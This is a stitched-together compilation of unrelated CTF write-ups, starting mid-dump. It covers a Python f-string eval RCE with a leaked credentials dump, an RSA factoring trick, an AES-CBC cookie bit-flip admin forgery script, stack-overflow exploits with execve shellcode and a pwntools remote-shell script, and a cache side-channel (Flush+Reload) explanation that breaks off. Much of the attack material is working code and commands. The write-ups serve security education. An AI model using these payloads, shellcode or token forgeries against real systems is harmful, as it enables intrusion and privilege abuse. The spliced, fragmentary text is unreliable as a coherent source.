'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': <class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2020 Python Software Foundation.All Rights Reserved.
Copyright (c) 2000 BeOpen.com.All Rights Reserved.
Copyright (c) 1995-2001 Corporation for National Research Initiatives.All Rights Reserved.
Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}, 'connect': <function Connect at 0x7fc4ed0c4700>, 'f': <class 'fstring.fstring.fstring'>, 'clean': <function clean at 0x7fc4ed09f310>, 'json': <module 'json' from '/usr/lib/python3.8/json/__init__.py'>, 'post_results': ((3, "This is Griffey. His St. Patrick's Day bow tie didn't arrive until this morning. Politely requests that everyone celebrate again. 13/10", 2, 13, 'images/img_3.jpg', 2, 'demidog', 'princesses_password'),), 'jf': <_io.TextIOWrapper name='/dbcreds.json' mode='r' encoding='UTF-8'>, 'jdata': {'db_user': 'dogooo', 'db_pass': 'dogZgoneWild'}, 'db_user': 'dogooo', 'db_pass': 'dogZgoneWild', 'Comment': <class 'app.loaddata.Comment'>, 'Post': <class 'app.loaddata.Post'>, 'get_posting': <function get_posting at 0x7fc4ed1fe940>, 'UserMixin': <class 'flask_login.mixins.UserMixin'>, 'save_comment': <function save_comment at 0x7fc4eb2819d0>, 'get_all_posts': <function get_all_posts at 0x7fc4eb281af0>, 'create_post_entry': <function create_post_entry at 0x7fc4eab0c0d0>, 'User': <class 'app.loaddata.User'>, 'user_create_entry': <function user_create_entry at 0x7fc4eab1c040>, 'get_login': <function get_login at 0x7fc4eab1c280>, 'get_user': <function get_user at 0x7fc4eab1c310>} - author```
From this data you can spot user credentials:* username: `demidog`;* password: `princesses_password`;
So now you can authenticate into the system and **you can create new users**.
During the authentication, an interesting behavior can be spot. The `login` method ([dogooo_comments.py](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/DEF%20CON%20CTF%20Qualifier%202020/dogooos/dogooo_comments.py)) uses the *f-Strings* functionality of Python 3, [which is a very powerful formatting syntax](https://realpython.com/python-f-strings/) and can be used to call methods.
```[email protected]("/dogooo/login", methods=["GET", "POST"])def login(): if request.method == 'POST': username = request.form['username'] password = request.form['password'] user = get_login(username, password) if user is not None: login_user(user) return redirect(request.host_url[:-1] + f"/dogooo/show?message=Welcom+back+{user.get_user_info()}")
else: return redirect(request.host_url[:-1] + f"/dogooo/show?message=Login+FAILED") else: return abort(401)```
The interesting line is the following.
```pythonreturn redirect(request.host_url[:-1] + f"/dogooo/show?message=Welcom+back+{user.get_user_info()}")```
The `get_user_info` method of the `User` class into [loaddata.py](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/DEF%20CON%20CTF%20Qualifier%202020/dogooos/loaddata.py) uses the `f()` method, instead of the `f""` one, on the `username` field; this method is the legacy one of *f-Strings* Python 2 implementation. The library implemented the *f-Strings* functionality by using an `eval`.
```pythonfrom fstring import fstring as f... ... ...def get_user_info(self): return f(self.username)```
So you can create a new user with a malicious username that could trigger a RCE during the authentication. The malicious username is: `{open('/flag').read()}`.
Authenticating with this user, you will be redirect to the following address.
```http://dogooos.challenges.ooo:37453/dogooo/show?message=Welcom+back+OOO%7Bdid%20you%20see%20my%20dog%7D```
Which contains the flag in the URL.

So the flag is the following.
```OOO{did you see my dog}``` |
The solution of this problem is extremely similar to the 300 from 34c3.
https://github.com/DhavalKapil/ctf-writeups/blob/master/34c3ctf-2017/300/exploit.py |
# Omni Crypto Writeup## Pwn2Win CTF 2020 Crypto 246 points 32 solves
### Observations
We discovered that Primes generated by the getPrimes method in the challengeAlways generates primes that are symmetric around one of the modular square root of N modulo 2^1024.
We know that N = p*q --> N = (a+b)*(a-b) <=> N = a^2 - b^2 from fermat's factorization methodThus, b^2 = a^2 - N.
The choosen root shall always satisfy the condition root^2 > N.
Thus, we can have a = root, and b as the deviation from a to give p and qThus, b = sqrt(a^2 - N) given (a^2 - N) is a perfect squareand we get p, q as a+b, a-b
```pythondef cracker(N, root): bsquare = root**2 - N if bsquare < 0: return 0, 0 b = gmpy2.sqrt(root**2 - N) if int(b)**2 != int(bsquare): return 0, 0 p = int(root + b) q = int(root - b) return p, q
ans = getRoot(N)p, q = cracker(N, ans)```
This worked for every N=p*q I generated. but It failed on the N specified.The reason was that the condition root**2 > N was not met for any modulo square roots. The information of LSB was preserved in the roots but the information of MSB was lacking. So to fix this, I tried using bytes from the normal square root of N (which contains lots of MSBs) and bytes of one of the modulo square roots of N (which contains lots of LSBs), combining to give a 'pseudoRoot'. But using this rootapparently worked!
```pythondef getPartialRoot(N, root, nr_bytes = 32): Nroot = int(gmpy2.sqrt(N)).to_bytes(128, 'big') root = root.to_bytes(128, 'big') newRoot = eval('0x' + Nroot[:nr_bytes].hex() + root[nr_bytes:].hex()) return newRoot
def solver(N, nr_bytes=32): ans = getRoot(N) if ans == 0: # No proper roots were found, lets use a random root possiblePartials = [int(i) for i in prime_mod_sqrt(gmpy2.mpz(N%2**2048), 2, 1024)] for root in possiblePartials: root = getPartialRoot(N, root, nr_bytes) print("Using Partial Root: ", root) p, q = cracker(N, root) if p * q == N: print("Root FOund!!!!", hex(p), hex(q)) return p, q else: p, q = cracker(N, ans) if p * q == N: print("Root FOund!!!!", hex(p), hex(q)) return p, q
N = 0xf7e6ddd1f49d9f875904d1280c675e0e03f4a02e2bec6ca62a2819d521441b727d313ec1b5f855e3f2a69516a3fea4e953435cbf7ac64062dd97157b6342912b7667b190fad36d54e378fede2a7a6d4cc801f1bc93159e405dd6d496bf6a11f04fdc04b842a84238cc3f677af67fa307b2b064a06d60f5a3d440c4cfffa4189e843602ba6f440a70668e071a9f18badffb11ed5cdfa6b49413cf4fa88b114f018eb0bba118f19dea2c08f4393b153bcbaf03ec86e2bab8f06e3c45acb6cd8d497062f5fdf19f73084a3a793fa20757178a546de902541dde7ff6f81de61a9e692145a793896a8726da7955dab9fc0668d3cfc55cd7a2d1d8b631f88cf5259ba1c = 0xf177639388156bd71b533d3934016cc76342efae0739cb317eb9235cdb97ae50b1aa097f16686d0e171dccc4ec2c3747f9fbaba4794ee057964734835400194fc2ffa68a5c6250d49abb68a9e540b3d8dc515682f1cd61f46352efc8cc4a1fe1d975c66b1d53f6b5ff25fbac9fa09ef7a3d7e93e2a53f9c1bc1db30eed92a30586388cfef4d68516a8fdebe5ebf9c7b483718437fcf8693acd3118544249b6e62d30afa7def37aecf4da999c1e2b686ca9caca1b84503b8794273381b51d06d0dfb9c19125ce30e67a8cf72321ca8c50a481e4b96bbbc5b8932e8d5a32fa040c3e29ced4c8bf3541e846f832a7f9406d263a592c0a9bce88be6aed043a9867a7
p, q = solver(N)```
We got the output:
p = 0xfbeb1a7886ef44622066fa094ac36e67bae3ae428725ae40b33b4360f16d70ab1ab25e6ece7bdc51014e2e1a816cc3b16572d8d8aace175126f92981b765af06c6a719d16cdb83f4f9b1df22a37e6b5ddf4443a736d33190bd7f72b400829118b5bc520817f4210dbcefb930c1f5cce6c9fc9e3a903118b0a838cec76a090eaf q = 0xfbeb1a7886ef44622066fa094ac36e67bae3ae428725ae40b33b4360f15502329379f55582e4fed5b5db1092155a566973adb60112301d087e794845d3fc0cce57e015acce21d2e86a8ee8cea59239dddf4443a736d33190bd7f72b400829118b5bc520817f4210dbcefb930c1f5cce6c9fc9e3a903118b0a838cec76a090eaf
And thus we decrypted the message as
Here is the message: CTF-BR{w3_n33d_more_resources_for_th3_0mni_pr0j3ct}\n |
# Backflip in the kitchen
> Eat my cookie sharkyboy!> > Look how great my authentication is.> > I used AES 128 CBC for encryption never used it before but it's so cooool!!> > backflip_in_the_kitchen.sharkyctf.xyz
## Description
Let's connect to the website.

We can see a login page, so we create an account and connect.

Here we can see some information about the account I just created: the username is mirrored by the webpage, we are given an ID and we are not administrator.
When trying to connect to the admin panel, we get back a message:
`Hello a. I'm sorry but you are not allowed to see what's in there. peace.`.
## Solution
This is a crypto challenge, but let's first do some recon on the website. In the inspector, we look at the source, the console, the network tab and the cookies. We see some interesting cookies:

So we have an authentication token which is base64 encoded, and a debug cookie. Let's change the debug cookie to true. The only difference is a new script that appears in the source:
```html<script>console.log({"id":35,"is_admin":0,"username":"a"});</script>```
From the challenge description, I suppose the authentication token is encrypted with [AES-CBC](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_block_chaining_(CBC)) on 128 bits. My first reflex is to perform a [padding-oracle attack](https://en.wikipedia.org/wiki/Padding_oracle_attack#Padding_oracle_attack_on_CBC_encryption) to decrypt the token. Indeed, when flipping a bit in the token, I get back a message:
```BAD TOKEN, CAN'T PARSE YOU! YOU MEAN TOKEN! BAD TOKEN!```
However the padding oracle attack fails, because this same error seems to happen even if the padding is correct, but the message cannot be interpreted correctly. I guess I could have tried a timing attack, but this is really tricky to implement and not reliable.
Then I recall that the debug flag made something appear. So I try to flip bits in the IV (the first 16 bytes of the ciphertext). In CBC mode, this will randomize the IV (but it does not matter as the IV is discarded) and will flip the same corresponding bit in the plaintext. And bingo! I see that the json `{"id":35,"is_admin":0,"username":"a"}` has a bit flipped when I flip a bit in the IV.
Therefore the objective is to flip the 0 to 1 in the `is_admin` variable. Sadly, the first block is only 16 bytes long, and the bit we want to change is on byte 20. But then, as we have the plaintext, we may change it completely. The goal here is put the `is_admin` variable at the beginning of the json.
The following script does exactly this:
```pythonimport requestsimport base64
headers = {'Connection': 'keep-alive', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'Referer': 'http://backflip_in_the_kitchen.sharkyctf.xyz/profile.php', 'Accept-Language': 'fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7'}cookie = '__cfduid=d57e98170590f77513cc4f724563e25f21588589993; authentication_token={}; debug=true'
original_token = "DZ3JHpol2RuyOEw96bEk6gd%2FIFHN4wfEKEMGLzn%2Fgyd6FTQZU4Y5uoBpuck7Ccru22VLVo8tbHOpAKx5Z%2FrKoQ%3D%3D"decoded_token = base64.b64decode(original_token.replace("%2F", "/").replace("%3D", "="))
msg = '{id:83,is_admin:1,username:"a"}'
def send(token): encoded_token = base64.b64encode(token).decode() encoded_token = encoded_token.replace("+", "%2B").replace("=", "%3D").replace("/", "%2F") headers['Cookie'] = cookie.format(encoded_token) r = requests.get('http://backflip_in_the_kitchen.sharkyctf.xyz/admin.php', headers=headers) print(r.text)
def replace(token, pos, a, b): return token[:pos] + bytes([decoded_token[pos] ^ ord(a) ^ ord(b)]) + token[pos+1:]
orig_string = 'd":35,"is_ad'new_string = 's_admin":1,"'for i in range(len(new_string)): decoded_token = replace(decoded_token, 3+i, orig_string[i], new_string[i])
send(decoded_token)```
Flag: `shkCTF{EnCrypTion-1s_N0t_4Uth3nTicatiOn_faef0ead1975be01}` |
## **babybof1** (pwn) (2 parts)###### _by Frovy_
babybof was a usual stack buffer overflow challenge from castorsCTF2020.
We get a binary and ip with port to connect to.
By running the binary, we see that all it is doing is wait for user input and exit.By disassembling its `main` with gdb, we prove our observation, it just calls vulnerable `gets()` function.```clea rax,[rbp-0x100]mov rdi,raxmov eax,0x0call 0x4005d0 <gets@plt>```Lets see if there are any other functions with `info func`. And we will quickly notice `get_flag` function, that actually gets flag, as it happens usually in most of easy buffer overflow challenges.
The binary is not PIE so we can just jump to that function, which is located at address `0x4006e7`.
Let's calculate the offset for our buffer overflow. There are some different methods to do it, like some cyclic sequences and so on, but I prefer simple trial and error with gdb. From disassembly we know that `rbp` is subtracted by 0x100, which is 256 in decimal, so our offset will presumably be 256+something. Lets try it with gdb. Run program with payload and increase the bytes amount by 4 until we will get segmentation fault.`run < <(python2 -c 'print "A"*260')`
It happened just at the second try. And if we input 268 bytes, we notice that last 4 of them are getting into instruction pointer. So the offset before return pointer on the stack is `264 bytes`.
Now lets overwrite our return pointer with address of the `get_flag` function, do not forget to reverse bytes because of little endian, and add some null bytes to ensure no garbage left in that memory.
`run < <(python2 -c 'print "A"*264 + "\xe7\x06\x40" + "\x00"*5')`
You can set a breakpoint in get_flag or create some dummy flag.txt file to ensure that exploit works. Then send the payload to remote server to get the flag.
`python2 -c 'print "A"*264 + "\xe7\x06\x40" + "\x00"*5' | nc chals20.cybercastors.com 14425`
`castorsCTF{[redacted]c4n_y0u_g3t_4_sh3ll_n0w?}`
## 2nd part of the challenge
The first flag tells us that we should manage to get remote shell on the challenge server to get more points.
By running `checksec` on our binary we notice that `NX` is disabled, it means that stack memory is executable. And buffer overflow with executable stack obviously lead us to **shellcode** thing.
To run an injected shellcode we need to somehow redirect program execution to stack. **ASLR** is enabled on the server machine so we can't just overwrite return pointer with constant, because stack location in process memory is random.> Im not an expert in ctf's so it required a bit of googling to understand how it is done usually. I've found that you can return to some instruction, which will jump to some register, occasionally pointing to controlled stack memory.
Lets investigate it. Break after the injection with gdb and examine registers. (I am using gdb GEF extension, which has several useful features like showing alot of info upon a breakpoint)
```c$rax : 0x00007fffffffe530 → "AAAAAAAA[...]"$rbx : 0x0 $rcx : 0x00007ffff7f7e7e0 → 0x00000000fbad2088$rdx : 0x0 $rsp : 0x00007fffffffe530 → "AAAAAAAA[...]"$rbp : 0x00007fffffffe630 → 0x4141414141414141 ("AAAAAAAA"?)$rsi : 0x00000000006026b1 → "AAAAAAAA[...]"$rdi : 0x00007ffff7f814e0 → 0x0000000000000000$rip : 0x0000000000400789 → <main+60> nop$r8 : 0x00007fffffffe530 → "AAAAAAAA[...]"$r9 : 0x00007fffffffe530 → "AAAAAAAA[...]"$r10 : 0x6f $r11 : 0x00007fffffffe630 → 0x4141414141414141 ("AAAAAAAA"?)```
We see that quite a lot of registers are actually pointing to the stack, now we should find a `call` gadget in our program. I've used objdump to disassemble full binary. `objdump -d babybof | grep call`
```c400560: ff d0 callq *%rax400624: ff 15 c6 09 20 00 callq *0x2009c6(%rip)4006bd: e8 7e ff ff ff callq 400640 <deregister_tm_clones>...```
The first string of output is exactly what we want, so lets write down the address: `0x400560`
Now we need to find(or write) a shellcode which will execute sh for us (google for `shellcode execve bin sh x64` and pick some), and construct the payload. It can be easily done by hand, but I decided to use some python here this time.
We can place our shellcode in the beginning of the buffer and jump to it through that `call $rax`. So do some basic pwntools and here comes the full exploit:
```pyfrom pwn import *
offset = 264return_addr = 0x400560
shellcode = b'\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x2f\x2f\x2f\x62\x69\x6e\x2f\x2f\x2f\x2f\x62\x61\x73\x68\x00'
payload = shellcode + b'A'*(offset-len(shellcode)) + p64(return_addr)
# c = process('./babybof')c = remote('chals20.cybercastors.com', 14425)c.recvline()c.sendline(payload)c.interactive()```
Let's execute it, and boom, we get the shell and the second flag.
```[+] Opening connection to chals20.cybercastors.com on port 14425: Done[*] Switching to interactive modeSay your name:leet@a4e851c71930:/data$ $ lsbabybof flag.txt shell_flag.txtleet@a4e851c71930:/data$ $ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15[redacted]}``` |
# pwn2win CTF 2020 - stolen_backdoor (pwn)*31 May 2020, Writeup by [Liikt](https://twitter.com/JB_Liikt) and [MMunier](https://twitter.com/_mmunier)*
Challenge Author: esoj
Category: pwn
Solves: 1
Points: 500
Rebellious Fingers got a low privilege backdoor in one of ButcherCorp's machines. The box is connected to the remains of a captured rebel android and it is being used to study their behaviors. There's not much left of the machine other than it's wireless omninet interface and a chip running the hkernel. Radio frequency analysis showed this machine is very active, as if it's trying to send a message to other androids. We could only get a sample of the programs that encrypt the message before it is sent and we need you to find out what is the message the android is trying to send.
## Note:
* The box is a default instance running on GCP (N1 Series).* Getting root access is not necessary.* The "encoder" binary is running on the server.* Your payload (in binary format) will be executed for 5 seconds only.* Server: nc stolenbd.pwn2.win 1337
[Folder](./challenge_files)
# Challenge
The extracted zip contained two binaries, one called `encoder` and one called`libemojinet.so`.This is how the `main` of the `encoder` binary looks like:```cvoid main(void) { int ctr; int dash_ctr; do { ctr = 0; while ("CTF-BR{REDACTED_REDACTED_REDACTED_REDAC}"[ctr] != '\0') { printTranslate((ulong)(uint)(int)"CTF-BR{REDACTED_REDACTED_REDACTED_REDAC}"[ctr],0xa0); usleep(10); ctr = ctr + 1; } putchar(10); dash_ctr = 0; while (dash_ctr < 0x1e) { putchar(0x2d); dash_ctr = dash_ctr + 1; } printf(" End of transmission "); dash_ctr = 0; while (dash_ctr < 0x1e) { putchar(0x2d); dash_ctr = dash_ctr + 1; } putchar(10); usleep(5000); } while( true );}```All the encoder binary does is go through each character of the flag (which wasobviously redacted in the binary which was distributed as seen above), print theemoji corresponding to that char and sleep 10 µs.After the flag was entirely printed the program prints the char `-` 0x1e times,followed by ` End of transmission `, another 0x1e `-` and a newline.Then the program sleeps for 5 milliseconds and does the whole thing again.This means for the flag `CTF-BR{REDACTED_REDACTED_REDACTED_REDAC}` the output looks as follows:```?⚕?️???????⚕??☞?????⚕??☞?????⚕??☞??????------------------------------ End of transmission ------------------------------...```
The `printTranslate` is part of the `libemojinet.so` and translates a given charto an emoji via a list called `emojiLib`. ```cif ((char < '-') || ('}' < char)) { uVar2 = 0xffffffff;} else { if ((uint)(((int)char + -0x2d) * 0xa0) < 0x33d1) { uVar1 = *(uint *)(emojiLib + (ulong)(uint)(((int)char + -0x2d) * 0xa0) * 4); setlocale(6,"en_US.utf8"); printf("%lc",(ulong)uVar1); uVar2 = 0; } else { uVar2 = 0xfffffffe; }}return uVar2;```First the `printTranslate` function checks if the char is between `-` and `}`,giving us a slightly more constraint possible flag alphabet.This function performs the operation `emojiLib[(char - 0x2d) * 0xa0]`.
As the note says the `encoder` binary is running on the server. If you connect to the server you are greeted with ```Hello there. Send me your ELF.ps -aux | grep encoderroot 8 6.6 0.1 2360 696 ? S May29 191:53 /home/manager/encoderGive me how many bytes (max: 30000)```which confirms, the note.Now you can upload any ELF binary with a max size of 30kB which will be run for5 seconds as per the note of the challenge.The server would then return you the first 10000 bytes of the output of yourexecuted program.This is probably the "stolen backdoor" the challenge was named after.
# Prerequisite information
First to confirm how the service works and the environment we work in we wrote apython script, which compiles a C program, uploads it and returns us the output.
This was the first program I found on [StackOverflow](https://stackoverflow.com/questions/9629850/how-to-get-cpu-info-in-c-on-linux-such-as-number-of-cores) which provides us with the information of the CPU.```c#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>
int main(int argc, char **argv){ FILE *cpuinfo = fopen("/proc/cpuinfo", "rb"); char *arg = 0; size_t size = 0; while(getdelim(&arg, &size, 0, cpuinfo) != -1) { puts(arg); } free(arg); fclose(cpuinfo); return 0;}```This is practically a glorified `cat /proc/cpuinfo`.We chose to get information about the CPU because based on the challenge description and design, this looked very much like a cache side-channel attack.The information of the CPU is the following:```Here are the first 10000 bytes of your output:processor : 0vendor_id : GenuineIntelcpu family : 6model : 63model name : Intel(R) Xeon(R) CPU @ 2.30GHzstepping : 0microcode : 0x1cpu MHz : 2300.000cache size : 46080 KBphysical id : 0siblings : 1core id : 0cpu cores : 1apicid : 0initial apicid : 0fpu : yesfpu_exception : yescpuid level : 13wp : yesflags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc rep_good nopl xtopology nonstop_tsc cpuid tsc_known_freq pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm abm invpcid_single pti ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid xsaveopt arat md_clear arch_capabilitiesbugs : cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs itlb_multihitbogomips : 4600.00clflush size : 64cache_alignment : 64address sizes : 46 bits physical, 48 bits virtualpower management:```The output of the above program tells us, that the CPU we are running on onlyhas one core. This is important, because in this case all programs share the sameL1, L2 and L3 CPU caches (The L3 cache is shared anyway but that is not relevant here).With all that information we pretty much knew that we had to do some form of side-channel attack because we are not able to communicate with the program, thathas the flag in it directly, and privilege escalation was not needed as the notesaid.
## The cache
One of the more famous cache side-channel attacks in the past are Meltdown andSpectre, which used branch prediction to leak whether a certain address currentlyresides in the cache or not.To understand why that is an interesting information we have to understand howthe cache works.The cache is part of the silicon of the CPU and acts as a place to store information between the CPU and the RAM.Accessing RAM is relatively costly in terms of performance.A [StackOverflow Article](https://stackoverflow.com/questions/4087280/approximate-cost-to-access-various-caches-and-main-memory) we found shows the timing for the different cache types.```Core i7 Xeon 5500 Series Data Source Latency (approximate) [Pg. 22]
local L1 CACHE hit, ~4 cycles ( 2.1 - 1.2 ns )local L2 CACHE hit, ~10 cycles ( 5.3 - 3.0 ns )local L3 CACHE hit, line unshared ~40 cycles ( 21.4 - 12.0 ns )local L3 CACHE hit, shared line in another core ~65 cycles ( 34.8 - 19.5 ns )local L3 CACHE hit, modified in another core ~75 cycles ( 40.2 - 22.5 ns )
remote L3 CACHE (Ref: Fig.1 [Pg. 5]) ~100-300 cycles ( 160.7 - 30.0 ns )
local DRAM ~60 nsremote DRAM ~100 ns```Note here:```THESE VALUES ARE ROUGH APPROXIMATIONS. THEY DEPEND ON CORE AND UNCORE FREQUENCIES,MEMORY SPEEDS, BIOS SETTINGS, NUMBERS OF DIMMS, ETC,ETC..YOUR MILEAGE MAY VARY."```So to not have to waste so much time pulling data from RAM CPU manufactures buildsmall banks of memory into the CPU.The closer they are to the actual processing unit the faster the access time.
### Cache Structure and Behavior
You can think of the cache being structured similarly to the main memory. However as there is less cache available (as seen in cpuinfo as shown above `46080 KB`) the "page equivalent" structures get smaller as well. These are called cache lines and as seen above are 64 Bytes in size.As regular memory gets used the cpu tries to optimize access times and loads frequently used addresses into higher and higher levels of cache.Accesses to loaded caches are being tracked by the CPU and if a specific line is not sufficiently used it gradually decays as other addresses are being cached, until it is no longer present in any level of cache and has to be fetched from regular DRAM once again.
For optimization most newer x86 (x64) cpus expose a few instructions to directly affect which parts of memory are loaded into cache.
The two instructions most relevant for userspace are the `prefetch`-family and `clflush`.`Prefetch*` can be used to tell the cpu that a specific part of memory will be used shortly in the future, as a signal for the CPU to load it into cache whenever it finds time for it.Surprising for everyone `clflush` does the complete opposite. Whatever address it pointed to, gets evicted from every level of cache and is written back to memory.There are other instructions for influencing this speculative behavior including fences and more privileged instructions for eg. invalidating the entire cache (`INVD`). However ultimately most instructions influence caching behavior in some way as soon as they interface with memory.
As for our encoder binary each time the emoji-library encodes a specific character, the resulting emoji-address (and the adjacent memory next to it) would be loaded into a cache line on some level of cache. This is what exposes it to the following attacks.
Another key importance lied on the `0xa0` multiplier for accessing entries in the emojidb, since this caused each accessed emoji to have its own cache line.
## Cache Side-Channel Attacks[A great slide deck from the HitB Conference 2016](https://conference.hitb.org/hitbsecconf2016ams/materials/D2T1%20-%20Anders%20Fogh%20-%20Cache%20Side%20Channel%20Attacks.pdf)
A side-channel attack is an attack, where an attacker user information gained byobserving a phenomenon which is only indirectly connected to the actual information gained of such an attack.
We now have to somehow leverage the information we can get from the cache to gain information of the flag in the `encoder` binary.There are several ways to do that.In fact there are four types of cache side-channel attacks* Evict and Time* Prime and Probe* Flush and Reload* Flush and Flush
The first three attacks work similarly.First you manipulate the cache to known state, „wait“ for victim activity and examine what has changed.
### Evict and Time
With Evict and Time you first wait for a function to execute. Then you executethe function again and time it.After the timing you "evict" (remove it) a part of the cache.Then you time the function again and if the function takes longer the second timethen you know, that the function used an address, that was part of the evictedcache set.
This requires us to be able to execute the desired function multiple times, whichwe couldn't.Another problem is, that the resolution of Evict and Time is only a cache set,meaning chunks of the cache.We needed to retrieve specific lines of the cache which is much more fine grained.
### Prime and Probe
Here an attacker first puts a known address into the cache (priming).Then they wait for the victim and time an access to the same address again. Ifthe access time is slow, then the attacker knows, that the victim accessedmemory congruent with the cache set the attacker primed.
This attack gives the benefit of not having to execute functions of the victim,which we needed.On the other hand Prime and Probe also only works on cache sets, which are to large for our attack.
### Flush and Reload
With Flush and Reload the attacker first clears (flushes) a specific cache linefrom the cache.Then they wait for the victim to do some computations.After the victim has done a few instructions the attacker accesses the cache linein question.If that access was fast, it means that the victim must have placed it back intothe cache.From that the attacker can infer which part of memory the victim had accessed.
One requirement for this attack is that both the victim and attacker have to share the memory the attacker want to get to know.In our case this requirement was fulfilled, because in linux two programs, thatlink to the same library share the same instance of the library until one of theprograms writes to part of it. In our case we only read from `libemojinet.so` sothat requirement was met.Also this attacks works without having to interact with the victim at all andwe can infer information about specific cache lines.
In the end we chose to use a Flush and Reload attack to solve this challenge.
### Flush and Flush
Flush and Flush is a relatively new attack and is based on the fact, that whenthe instruction to flush a cache line from the cache recognizes, that the linealready is not inside the cache, the instruction returns early.
This helps an attacker by flushing a cache line, waiting for the victim andflushing the same cache line again. If the second flush was faster than the first one, the victim did not load the cache line in question and thus did notaccess that part of the shared memory.
In theory this attack would've worked as well, but in our tests Flush and Flushbehaved very oddly and gave us weird results, which is why we opted for Flush andReload.
### Timing
The most important part of all these attacks is the timing.A naive approach would be to use the time function of the C standard library.That is often used to time programs but it returns the time only in seconds.As the table of cache hits in the section about the cache shows us we are workingwith a time resolution of clock cycles. Our CPU has a clock rate of 2.30GHz.That is 2,300,000,000 cycles a second. And that is also the amount of interestingevents we would miss. To get a high resolution clock we have to use a CPU instruction called `rdtsc`. This instruction returns the amount of CPU since thestart of the CPU. This high frequency time stamping method can be used to timeinstructions accurately.
As a side note we actually used the instruction `rdtscp` which prevents the CPUto rearrange the instructions and possibly skewing the timing.
# Solution
To test our attacks we bought a one core machine at a hosting service. We alsomodified the flag in the `encoder` binary to be `CTF-BR{AA..AA}`. This helpeda lot in figuring out the first steps.
